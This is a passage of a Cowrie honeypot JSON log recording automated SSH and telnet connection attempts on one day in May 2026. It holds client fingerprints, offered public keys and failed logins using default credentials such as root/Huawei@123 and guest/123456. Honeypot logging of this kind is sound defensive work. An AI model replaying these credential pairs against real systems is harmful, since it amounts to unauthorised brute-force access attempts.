,"ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:00:38.826169Z","src_ip":"8.218.166.49","session":"59cf5bc257b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"70.7","message":"Connection lost after 70.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:00:45.479399Z","src_ip":"8.218.166.49","session":"7689ff4f89ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"189.228.90.29","src_port":44961,"dst_ip":"10.17.0.5","dst_port":23,"session":"1df87c601ed1","protocol":"telnet","message":"New connection: 189.228.90.29:44961 (10.17.0.5:23) [session: 1df87c601ed1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:00:59.359230Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:01:00.330100Z","src_ip":"8.218.166.49","session":"b55a94c62709","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.910906553268433,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:01:12.270028Z","src_ip":"189.228.90.29","session":"1df87c601ed1","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"Huawei@123","message":"login attempt [root/Huawei@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:01:16.059347Z","src_ip":"8.218.166.49","session":"59cf5bc257b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:01:25.816134Z","src_ip":"8.218.166.49","session":"79ba0ceb2f2b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"63.5","message":"Connection lost after 63.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:01:29.346554Z","src_ip":"8.218.166.49","session":"59cf5bc257b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.32.234.44","src_port":40783,"dst_ip":"10.17.0.5","dst_port":23,"session":"39ae7241b43a","protocol":"telnet","message":"New connection: 182.32.234.44:40783 (10.17.0.5:23) [session: 39ae7241b43a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:01:36.306884Z"}
{"eventid":"cowrie.login.failed","username":"localhost","password":"localhost","message":"login attempt [localhost/localhost] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:01:40.793879Z","src_ip":"8.218.166.49","session":"b55a94c62709","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:01:42.468981Z","src_ip":"8.218.166.49","session":"b55a94c62709","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.637930631637573,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:01:49.944669Z","src_ip":"182.32.234.44","session":"39ae7241b43a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.226.140.13","src_port":32639,"dst_ip":"10.17.0.5","dst_port":23,"session":"2d05fa38217e","protocol":"telnet","message":"New connection: 5.226.140.13:32639 (10.17.0.5:23) [session: 2d05fa38217e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:02:00.867899Z"}
{"eventid":"cowrie.session.closed","duration":0.1476459503173828,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:02:01.015421Z","src_ip":"5.226.140.13","session":"2d05fa38217e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.210.194.2","src_port":38572,"dst_ip":"10.17.0.5","dst_port":22,"session":"531cf2b6d18b","protocol":"ssh","message":"New connection: 192.210.194.2:38572 (10.17.0.5:22) [session: 531cf2b6d18b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:02:24.776293Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:02:24.785109Z","src_ip":"192.210.194.2","session":"531cf2b6d18b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:02:24.865379Z","src_ip":"192.210.194.2","session":"531cf2b6d18b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"33:06:9d:29:d0:62:7f:44:23:ea:57:3a:f2:b9:e9:43","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICwaND9GL0anBiE1sa7rQobq4cOwqJz7pr5B/ETSs9ml","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 33:06:9d:29:d0:62:7f:44:23:ea:57:3a:f2:b9:e9:43","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:02:25.209752Z","src_ip":"192.210.194.2","session":"531cf2b6d18b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"33:06:9d:29:d0:62:7f:44:23:ea:57:3a:f2:b9:e9:43","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICwaND9GL0anBiE1sa7rQobq4cOwqJz7pr5B/ETSs9ml","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:02:25.214035Z","src_ip":"192.210.194.2","session":"531cf2b6d18b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4d:91:b4:61:20:ba:f5:fd:b8:1a:c4:64:fa:be:ad:03","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAxh9VmOmcpFY5pPvrtTI+HN4lk7L6VNjpjpM/oJsJ6djOvcHK28Pd+XdfZ99MTK2cBOGTsM7N0hVOol2q5svnxFp9SWe/Vdpxa1+ZxoYQsONcT0Uuqpgb1u97adlbHUReknSQkxWhldNpVoA4/tO1y8nVyyGF/8zoWkUO8yMZ5h/pTpC1/uKaHRs/j3hnS/MPviexR0DJBL97+dnOwy05RowAEzHIRscY9wCIEs5wj53q+b0p3vuPKlqJ5YA6Lj9fCe3qaLZ3QOfTWfQiPIkmRfQbYhx7poYec3tgL6g+rcsZpSlw2fPF8h3B1fu4HbHcOWhiDJ/9Q6eHF3eeLx5lYw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4d:91:b4:61:20:ba:f5:fd:b8:1a:c4:64:fa:be:ad:03","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:02:25.286792Z","src_ip":"192.210.194.2","session":"531cf2b6d18b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4d:91:b4:61:20:ba:f5:fd:b8:1a:c4:64:fa:be:ad:03","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAxh9VmOmcpFY5pPvrtTI+HN4lk7L6VNjpjpM/oJsJ6djOvcHK28Pd+XdfZ99MTK2cBOGTsM7N0hVOol2q5svnxFp9SWe/Vdpxa1+ZxoYQsONcT0Uuqpgb1u97adlbHUReknSQkxWhldNpVoA4/tO1y8nVyyGF/8zoWkUO8yMZ5h/pTpC1/uKaHRs/j3hnS/MPviexR0DJBL97+dnOwy05RowAEzHIRscY9wCIEs5wj53q+b0p3vuPKlqJ5YA6Lj9fCe3qaLZ3QOfTWfQiPIkmRfQbYhx7poYec3tgL6g+rcsZpSlw2fPF8h3B1fu4HbHcOWhiDJ/9Q6eHF3eeLx5lYw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:02:25.298773Z","src_ip":"192.210.194.2","session":"531cf2b6d18b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1b:b2:15:6e:b2:c5:fe:22:fd:e1:a1:14:c3:6e:73:95","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCb2cDr08HSvfsvdV9HhPjp5Qxqu883XIAvZhW3gTRml4ubE+JQbL7DUMtcjDmMMLdBxg4sLhbHYnGhR3tSzyRyJFTj8dedU2duyV3hdaMC5Sb1N24MVxz/p01fBgNYRghrjiiwzlo89InxJzXwYs0WAhruyKEJu0XoJKVbNo810bRZfs7+HIQ9L0LllTJIi9wTD9l4oNXOQa0uECz3yn4Mb6jYkiSuy3hZmE+L1KF1VNajQChkdIp45ODQ+a+fZOMnMTGWuBuOsUtrGyADlpntdfJ8/aEbqJ1Xvu3eyhOzjVefe0ucLtKiMXK0Q1ftasnMw9rny7azwjdqGg65us4iISxIJ6TYmqhDoWCDfKutaNVeupTcvVqHPVJ48lRAsPU4IkZ97hygE2WzKHn9Fx3LxLDl7G7AwjUPBjc8nz7s19wDbY+nvSFmqCuoSQwcc8qr/TiS4+mdM4+zxW/hnXWIAGPWMXIY/DcPnP2MgYWY2R9vjUusb3JL1v5W5XG/CSfuigO1ETC0hh9euRvQaws010rwzV9ccpFFBReVvZ9nNL3KDK9RZLkXyLQt4Ezv/0XJT6sH0NWSCEOTyxwldpLyE4Tf2w8Dq7U5cfGaPZRYfQWdGAr9pKidnJiDGNiAQ1lWg8hAE+x1vmTg16tgt3rLDHNBZJ+e7QXUFgZ0sUDlQw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1b:b2:15:6e:b2:c5:fe:22:fd:e1:a1:14:c3:6e:73:95","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:02:25.373142Z","src_ip":"192.210.194.2","session":"531cf2b6d18b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1b:b2:15:6e:b2:c5:fe:22:fd:e1:a1:14:c3:6e:73:95","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCb2cDr08HSvfsvdV9HhPjp5Qxqu883XIAvZhW3gTRml4ubE+JQbL7DUMtcjDmMMLdBxg4sLhbHYnGhR3tSzyRyJFTj8dedU2duyV3hdaMC5Sb1N24MVxz/p01fBgNYRghrjiiwzlo89InxJzXwYs0WAhruyKEJu0XoJKVbNo810bRZfs7+HIQ9L0LllTJIi9wTD9l4oNXOQa0uECz3yn4Mb6jYkiSuy3hZmE+L1KF1VNajQChkdIp45ODQ+a+fZOMnMTGWuBuOsUtrGyADlpntdfJ8/aEbqJ1Xvu3eyhOzjVefe0ucLtKiMXK0Q1ftasnMw9rny7azwjdqGg65us4iISxIJ6TYmqhDoWCDfKutaNVeupTcvVqHPVJ48lRAsPU4IkZ97hygE2WzKHn9Fx3LxLDl7G7AwjUPBjc8nz7s19wDbY+nvSFmqCuoSQwcc8qr/TiS4+mdM4+zxW/hnXWIAGPWMXIY/DcPnP2MgYWY2R9vjUusb3JL1v5W5XG/CSfuigO1ETC0hh9euRvQaws010rwzV9ccpFFBReVvZ9nNL3KDK9RZLkXyLQt4Ezv/0XJT6sH0NWSCEOTyxwldpLyE4Tf2w8Dq7U5cfGaPZRYfQWdGAr9pKidnJiDGNiAQ1lWg8hAE+x1vmTg16tgt3rLDHNBZJ+e7QXUFgZ0sUDlQw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:02:25.377752Z","src_ip":"192.210.194.2","session":"531cf2b6d18b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d2:df:73:a8:59:ab:21:ba:e9:73:f6:11:cc:a1:69:24","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEA93t0R5zfOthKvwzLkT9z6wMSkFProPQZWjyVhETScZFRBb2Lsly7kJMPtXY2+YOGVpb3T18pFWT2/ZA03T0L5241jE/6l70C3yuTFUftkswTelHZROD7RdfE8akcEKvHh3FuN+sNGrFrJ9PPbAL4ipvQiMJzhyJFVBM5WdHEe6k=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d2:df:73:a8:59:ab:21:ba:e9:73:f6:11:cc:a1:69:24","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:02:25.451819Z","src_ip":"192.210.194.2","session":"531cf2b6d18b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d2:df:73:a8:59:ab:21:ba:e9:73:f6:11:cc:a1:69:24","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEA93t0R5zfOthKvwzLkT9z6wMSkFProPQZWjyVhETScZFRBb2Lsly7kJMPtXY2+YOGVpb3T18pFWT2/ZA03T0L5241jE/6l70C3yuTFUftkswTelHZROD7RdfE8akcEKvHh3FuN+sNGrFrJ9PPbAL4ipvQiMJzhyJFVBM5WdHEe6k=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:02:25.455637Z","src_ip":"192.210.194.2","session":"531cf2b6d18b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4d:3a:b8:a3:ed:5b:f0:fb:0f:77:ea:4a:e1:5a:da:43","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDLKj6AtxDBVKnlT0OfLr76IWcSLQJfBnxeUSHymArrkN4OOmI4n2cqPDJ3j3oxF2ekDF3r8jLfW1Wfjp3yVvpcmXlU3hpngwC7MO6+qMhA8XZnx8TKELnwIOmwtqETaIcQ18vHkwzdUFvDez10cebde6W59yIv79edhymI8xiLLk/ffsM0Rj7pUq1cmvx7m3Z7nZja22XaflmxbE1gCZFz69vB2FnpPCJleijk2EjkIa01arrNPsxxMOMWxBlGXoCYAsccPsb++rKehBLAUCQXDQwtRQfyGHCXJgqdiQff5FkQsPhnx+y5lGlHAtuzQ8t0uCs00KCv5TNv/Z6Iq3qL","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4d:3a:b8:a3:ed:5b:f0:fb:0f:77:ea:4a:e1:5a:da:43","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:02:25.528550Z","src_ip":"192.210.194.2","session":"531cf2b6d18b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4d:3a:b8:a3:ed:5b:f0:fb:0f:77:ea:4a:e1:5a:da:43","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDLKj6AtxDBVKnlT0OfLr76IWcSLQJfBnxeUSHymArrkN4OOmI4n2cqPDJ3j3oxF2ekDF3r8jLfW1Wfjp3yVvpcmXlU3hpngwC7MO6+qMhA8XZnx8TKELnwIOmwtqETaIcQ18vHkwzdUFvDez10cebde6W59yIv79edhymI8xiLLk/ffsM0Rj7pUq1cmvx7m3Z7nZja22XaflmxbE1gCZFz69vB2FnpPCJleijk2EjkIa01arrNPsxxMOMWxBlGXoCYAsccPsb++rKehBLAUCQXDQwtRQfyGHCXJgqdiQff5FkQsPhnx+y5lGlHAtuzQ8t0uCs00KCv5TNv/Z6Iq3qL","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:02:25.533261Z","src_ip":"192.210.194.2","session":"531cf2b6d18b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:02:25.607665Z","src_ip":"192.210.194.2","session":"531cf2b6d18b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":45134,"dst_ip":"10.17.0.5","dst_port":22,"session":"e50efc5e7592","protocol":"ssh","message":"New connection: 8.218.166.49:45134 (10.17.0.5:22) [session: e50efc5e7592]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:02:26.829905Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:02:27.013795Z","src_ip":"8.218.166.49","session":"e50efc5e7592","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:02:27.379367Z","src_ip":"8.218.166.49","session":"e50efc5e7592","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"test","message":"login attempt [testuser/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:02:29.546258Z","src_ip":"8.218.166.49","session":"e50efc5e7592","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.9","message":"Connection lost after 3.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:02:30.757097Z","src_ip":"8.218.166.49","session":"e50efc5e7592","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":37410,"dst_ip":"10.17.0.5","dst_port":22,"session":"fb59d1545d69","protocol":"ssh","message":"New connection: 8.218.166.49:37410 (10.17.0.5:22) [session: fb59d1545d69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:03:09.942696Z"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":41664,"dst_ip":"10.17.0.5","dst_port":22,"session":"218db8b7a86a","protocol":"ssh","message":"New connection: 8.218.166.49:41664 (10.17.0.5:22) [session: 218db8b7a86a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:03:19.479671Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:03:19.485314Z","src_ip":"8.218.166.49","session":"218db8b7a86a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:03:19.956247Z","src_ip":"8.218.166.49","session":"218db8b7a86a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"123456","message":"login attempt [guest/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:03:21.934687Z","src_ip":"8.218.166.49","session":"218db8b7a86a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:03:23.147136Z","src_ip":"8.218.166.49","session":"218db8b7a86a","protocol":"ssh"}
